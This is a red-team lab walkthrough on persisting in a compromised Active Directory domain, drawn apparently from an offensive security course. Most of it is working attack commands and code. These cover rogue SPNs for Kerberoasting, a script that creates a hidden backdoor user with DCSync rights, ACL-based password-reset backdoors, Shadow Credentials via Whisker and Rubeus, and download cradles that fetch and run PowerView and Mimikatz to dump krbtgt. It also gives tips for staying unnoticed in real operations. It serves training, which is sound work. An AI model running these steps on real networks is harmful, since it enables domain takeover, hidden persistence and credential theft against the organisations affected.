Skip to content

Lab 5.2: AD Persistence

Objectives

  • Establish persistence through clever usage of ACEs on domain objects

TTPs Emulated in This Lab

Preparation

Preparation Steps

Establish an RDP or C2 session as a domain administrator on dc01.draconem.corp. Run this as local admin so your implant connects back under high integrity Here are the credentials of a domain admin:

  • Username: Almeria.Zanelli
  • Password: e$Ccj!W49E57#aS6
xfreerdp +clipboard +drives /cert-ignore /u:Almeria.Zanelli /p:'e$Ccj!W49E57#aS6'  /v:dc01.draconem.corp

Cobalt Strike can be accessed through guacamole http://10.130.2.22:8080/guacamole username: student password:Sec565!!
The Cobalt Strike Teamserver credentials are as follows
host: 10.130.4.100
password: sec565@!

The ports you can use with Cobalt Strike are 8888 for setting up a stager and 8443 for setting up a listener. The easiest way to land a beacon in the lab is using the Scripted Web Delivery function in Cobalt Strike and then performing a download cradle under the form of

iex (irm -useb http://10.130.4.100:8888/a)

replace /a with whatever value you provided in the dialogue in Cobalt Strike.

On Your Own

  1. Create a backdoor by setting a Service Principal Name to drew.dorwood
  2. Create a new OU sec565rules and a new backdoor user supersecret, grant the supersecret user DCSync privileges and manipulate the OU's DACL so that the user is invisible.
  3. Grant yourself password reset rights for drew.dorwood and use those rights to set an arbitrary password
  4. Add a msDS-KeyCredentialLink to DC01.draconem.corp using Whisker

Walkthrough

In the last lab, we compromised all domains in our environment.

In this lab, we will use our newly found privileges to establish persistence on the domain through clever ACE manipulations on objects.

Backdoor 1: Targeted Kerberoasting

Warning

Make sure your implant is running under high integrity!

We can attach Service Principal Names (SPNs) to user accounts and point them to non-existent services.

This way, we can request a service ticket for that user later. As a reminder, service tickets are encrypted with the target's long term key, which, in this case, would be the user's password.

The most straightforward way to do this is by utilizing setspn for this.

Cobalt Strike Approach

1. We can execute the following Powershell task in Cobalt Strike:

powershell setspn -s cifs/allyourpasswordsbelongtous drew.dorwood

This will set a new SPN to the Drew.Dorwood account, pointing it to a service that does not, and never will, exist.

In the lab we made it fairly obvious, but in a real operation you can pick a service that does not stand out as much.

2. Now that there is an SPN attached to Drew, we can use the Rubeus kerberoast task to conduct the targetted kerberoast.

execute-assembly C:\Tools\Rubeus.exe kerberoast /user:Drew.Dorwood /format:hashcat /nowrap

note: your output will be different than the one below, this is expected as your domain will have a different SID each deployment.

Empire Approach

3. We can execute the following shell command in Empire:

setspn -s cifs/allyourpasswordsbelongtous drew.dorwood

This will set a new SPN to the Drew.Dorwood account, pointing it to a service that does not, and never will, exist.

In the lab we made it fairly obvious, but in a real operation you can pick a service that does not stand out as much.

4. Now that there is an SPN attached to Drew, we can use the powershell/credentials/invoke_kerberoast task to conduct the targeted kerberoast.
- Technique : powershell/credentials/invoke_kerberoast
- Identity : drew.dorwood
- OutputFormat:Hashcat

BONUS: Covenant Approach

5. We can execute the following Powershell task in Covenant:

setspn -s cifs/allyourpasswordsbelongtous drew.dorwood

This will set a new SPN to the Drew.Dorwood account, pointing it to a service that does not, and never will, exist.

In the lab we made it fairly obvious, but in a real operation you can pick a service that does not stand out as much.

6. Now that there is an SPN attached to Drew, we can use the Rubeus kerberoast task to conduct the targetted kerberoast.

Rubeus kerberoast /user:Drew.Dorwood /format:hashcat

Now we could submit this ticket to Hashcat to try and crack the user's password at will.

Even when our dear friend Drew changes his password, we will still be able to get a ticket (encrypted with the new password of Drew). This will continue to work for as long as an SPN is attached to the account.

This is typically not something that gets checked and/or changed often so this could be a potential backdoor for several years.

Backdoor 2: Hidden User with DCSync Privileges

For this technique a GUI is very useful to fully comprehend what we are doing.

We are going to create a new OU in the draconem.corp domain and add a new backdoor user into it.

Afterward, we are going to assign the backdoor user DCSync rights.

As a final step, we are going to deny the view permissions of the OU for everyone, preventing anyone from seeing the object in the OU.

After the GUI approach, we will automate the attack as well.

GUI Approach

7. On the domain controller as a domain admin, let's open up the Active Directory Users and Computers overview:

8. Now let's create a new Organizational Unit (OU) in our draconem.corp domain and call it 565rules. We will also disable to accidental deletion protection for lab purposes. In a real operation, you can leave this on to cause an additional struggle for IT administrators to get rid of the rogue OU.

9. Now that we have our new OU set up, we can add a new user in the OU. Let's call our backdoor user supersecret and give it a password you like:

10. We want our backdoor user to have DCSync privileges. We can do this in two ways: either by using PowerView (fastest), or through the GUI (takes a lot of searching through all the options).

11. We will first have to toggle the advanced view in our overview window:

Manual Approach

12. For the manual approach, we can go to the security tab of our draconem domain and press the Add button:

13. This will open up a Window with all potential options for our supersecret user. In order to get DCSync privileges you need to find the Replicating Directory Changes and Replication Directory Changes All properties and tick them on:

PowerView Approach

14. In PowerView it is as simple as first loading PowerView in memory:

iex (iwr -useb https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1)

15. Then using the Add-ObjectAcl -PrincipalIdentity supersecret -Rights DCSync -Verbose cmdlet to grant DCSync rights to our supersecret user:

16. Now we want to hide our backdoor user so no one will see it anymore. We can right-click our 565rules OU and click the Properties menu, then go to the Security tab and tick on all the Deny Permissions for the Everyone user:

17. After this is done, you will now see that the 565rules container appears empty, even though we, the attackers, know it actually is not.

Automated Approach

18. To automate the whole sequence that we illustrated using the GUI, we are going to utilize PowerShell. This script is under the assumption that you are executing it on a domain controller with high-integrity context.

function Invoke-SneakyBackDoor{
[CmdletBinding()]
    Param (
    [Parameter(Mandatory=$True)]
    [string]$OU,
    [Parameter(Mandatory=$True)]
    [string]$AccountName,
    [Parameter(Mandatory=$True)]
    [string]$Password
    )
$dse = [ADSI]"LDAP://Rootdse"
$namingcontext = $dse.defaultNamingContext
echo "Creating new OU $OU"
New-ADOrganizationalUnit -ProtectedFromAccidentalDeletion $False -Name $OU
echo "Creating new User $AccountName"
New-ADUser -Name $AccountName -AccountPassword (ConvertTo-SecureString $Password -AsPlainText -Force) -Enabled $True -Path "OU=$OU,$namingcontext"
echo "Giving $AccountName DCSync rights"
dsacls.exe $namingcontext /G $AccountName":CA;Replicating Directory Changes All" $AccountName":CA;Replicating Directory Changes" | Out-Null
echo "Removing all rights on $OU"
dsacls.exe "OU=$OU,$namingcontext" /D Everyone:LC | Out-Null
echo "Removing all reading rights on $AccountNAme"
dsacls.exe "CN=$AccountName,Ou=$OU,$namingcontext" /D Everyone:GAGR | Out-Null
}

A little bit of explanation is warranted here of what exactly we are doing:

  1. First we are getting the default LDAP naming context of our domain automatically using ADSI. In the case of draconem.corp this would result into DC=Draconem,DC=corp.
  2. Secondly, we are creating a new OU using the AD module's built-in New-ADOrganizationalUnit cmdlet.
  3. We then create a new user using the AD Module's built-in New-ADUser command and put the new user in the OU we just created.
  4. Now, we are going to grant our user DCSync rights using dsacls
  5. As a final step, we are denying the list child-item right (LC) for everyone on the OU we created, effectively blocking anyone from viewing the content of the OU. We are also removing generic read and generic all from our account so it does not show up in explicit queries either.

For the record, these rights can also be granted by tools such as PowerView or StandIn. Feel free to execute this script over the C2 of your choosing.

19. We can test our backdoor user by logging in on our wk01 instance as our supersecret user and use Mimikatz.

xfreerdp +clipboard /cert-ignore /u:Almeria.Zanelli /p:'e$Ccj!W49E57#aS6'  /v:wk01.draconem.corp

open up Powershell as different user and fill in the credentials of your supersecret user and execute the following command:

iex(irm -useb "https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1?raw=true")
Invoke-Mimikatz -command '"lsadump::dcsync /user:draconem\krbtgt"'

Backdoor 3: Force Change Password

If we have the ExtendedRight User-Force-Change-Password on a user object, we can reset the user's password without knowing their current password.

We can give someone these rights on one of the domain administrators. This means that, as attackers, we can now become DA at will by resetting the DA password to whatever we want. Granting this right can be using PowerView,StandIn,or dacls with dacls being a built-in tool on any machine that has the Active Directory RSAT installed.

20. An example to grant these rights using PowerView is as follows:

On DC01 as Almeria.Zanelli run the following script from a PowerShell Prompt as administrator: make sure you have added the +drives in your xfreerdp command to connect to DC01, otherwise the below will not work. You might get asked if you wish to run the script, pressing r on your keyboard will bypass the execution policy allowing you to load powerview.

cd \\tsclient\media\home\sec565\tools
. .\PowerView.ps1
Add-ObjectAcl -PrincipalIdentity Gareth.Kilgallen -TargetIdentity drew.dorwood -Rights ResetPassword

This command grants Gareth.Kilgallen the rights to reset the password of drew.dorwood whenever our backdoor user wants, without having to know Drew's password.

Let's RDP as Gareth and spawn a new implant. Using a Cobalt Strike / Covenant / Empire launcher as we have done multiple times in the labs so far.

Note. Please make sure Gareth does not have another active session on wk01, the login needs to be fresh so the new permissions are fetched.

xfreerdp +clipboard /cert-ignore /u:Gareth.Kilgallen /p:Hu825meapvsAq#Rx /v:wk01.draconem.corp

Resetting the password can be done using PowerView or StandIn:

Cobalt Strike Approach

21. Let's use StandIn to reset the password of drew.dorwood using the execute-assembly task.

execute-assembly C:\Tools\StandIn.exe --object samaccountname=drew.dorwood --newpass LegitPassw0rd!

22. Now that we have reset his password to an arbitrary value, we can create a new token

make_token draconem\drew.dorwood LegitPassw0rd!

23. And then finally, use DCSync to dump the krbtgt hashes once again.

dcsync draconem.corp draconem\krbtgt

Empire Approach

24. Let's use PowerView to reset the password of drew.dorwood using the invoke_script task.
- Technique:powershell/management/invoke_script
- ScriptCmd:Set-DomainUserPassword -Identity drew.dorwood -AccountPassword(ConvertTo-SecureString 'Test1234!' -AsPlainText -Force) -Verbose
- ScriptPath:/home/sec565/tools/PowerView.ps1

25. Now that we have reset his password to an arbitrary value, we can spawn a new Agent using his credentials.
- Techniques:powershell/management/spawnas
- Listener:choose from dropdown
- Password:Test1234!
- UserName:drew.dorwood

26. And then finally, use DCSync with the freshly spawned Agent to dump the krbtgt hashes once again.
- Technique : powershell/credentials/mimikatz/dcsync
- user : draconem\krbtgt

BONUS: Covenant Approach

27. Let's use StandIn to reset the password of drew.dorwood using the Assembly task.
Parameters : --object "samaccountname=drew.dorwood" --newpass "LegitPassw0rd!"

28. Now that we have reset his password to an arbitrary value, we can spawn a new Grunt using his credentials:

29. And then finally, use DCSync to dump the krbtgt hashes once again.
dcsync draconem\krbtgt

Backdoor 4: Shadow Credentials

This technique has been discovered by the researchers of SpecterOps and relies on abusing the msDS-KeyCredentialLink attribute of an object. By setting this attribute it is possible for an attacker to completely take over the object itself through PKINIT authentication. The full blog post detailing the attack primitive can be read here: https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab:

In order to utilize this techniques there are a few prerequisites:

  • The functional level of the domain needs to be Server 2016 or above.
  • AD CS needs to be deployed in the environment.
  • We need to have control over an account that has write privileges on the msDS-KeyCredentialLink attribute of an object.

This primitive can be seen as an alternative to resource based constrained delegation, with the advantage that it can also be used to compromise user accounts.

Attention

If you want to perform this attack multiple times to practice, be sure to clear the msDS-KeyCredentialLink first using Whisker, as it cannot be overwritten and will error out.

Whisker.exe clear /target:dc01$ /domain:draconem.corp

Spawn an implant on DC01 using your C2 of choice with high integrity context.

Cobalt Strike Approach

30. Let's use Whisker by invoking the execute-assembly task in Cobalt Strike to set a new KeyCredentialLink for our Domain Controller (DC01$)

execute-assembly C:\Tools\Whisker.exe add /target:dc01$ /domain:draconem.corp /dc:dc01.draconem.corp

31. Now we can use Rubeus to request a TGT for DC01 using our KeyCredentialLink certificate whenever we want, even when the object (in this case, the domain controller) has changed passwords!

Attention

Be sure to remove the " " from the /password section of the command or the Rubeus command has a chance of failure.

execute-assembly C:\Tools\Rubeus.exe (see output of previous step for Rubeus command to execute)

32. Finally we get the DC's NTLM hash and TGT in Rubeus's output:

Empire Approach

33. Let's invoke the PowerShell version of Whisker called Invoke-Whisker to set a new KeyCredentialLink for our Domain Controller (DC01$)

  • Techniques:powershell/management/invoke_script
  • ScriptCmd:Invoke-Whisker -Command "add /target:dc01$ /domain:draconem.corp /dc:dc01.draconem.corp"
  • ScriptPath:/home/sec565/tools/Invoke-Whisker.ps1

    Inspect and copy the Task output as it provides you with the commandline to pass to Rubeus.

    34. Now we can use Rubeus to request a TGT for DC01 using our KeyCredentialLink certificate whenever we want, even when the object (in this case, the domain controller) has changed passwords!

    Attention

    Be sure to remove the " " from the /password section of the command or the Rubeus command will not work.

    • Techniques:powershell/credentials/rubeus
    • Command:asktgt /user:dc01$ /certificate:<whisker output> /password:<whisker output> /domain:draconem.corp /dc:dc01.draconem.corp /getcredentials /show

    35. Finally we get the DC's NTLM hash and TGT in Rubeus's output:

BONUS: Covenant Approach

36. Let's use Whisker by invoking the Assembly task in Covenant to set a new KeyCredentialLink for our Domain Controller (DC01$)

add /target:dc01$ /domain:draconem.corp /dc:dc01.draconem.corp

37. Now we can use Rubeus to request a TGT for DC01 using our KeyCredentialLink certificate whenever we want, even when the object (in this case, the domain controller) has changed passwords!

Attention

Be sure to remove the " " from the /password section of the command or the Rubeus command will not work.

Be sure to use the Assembly task and not the built-in Rubeus, as the built-in version does not support this attack!

38. Finally we get the DC's NTLM hash and TGT in Rubeus's output: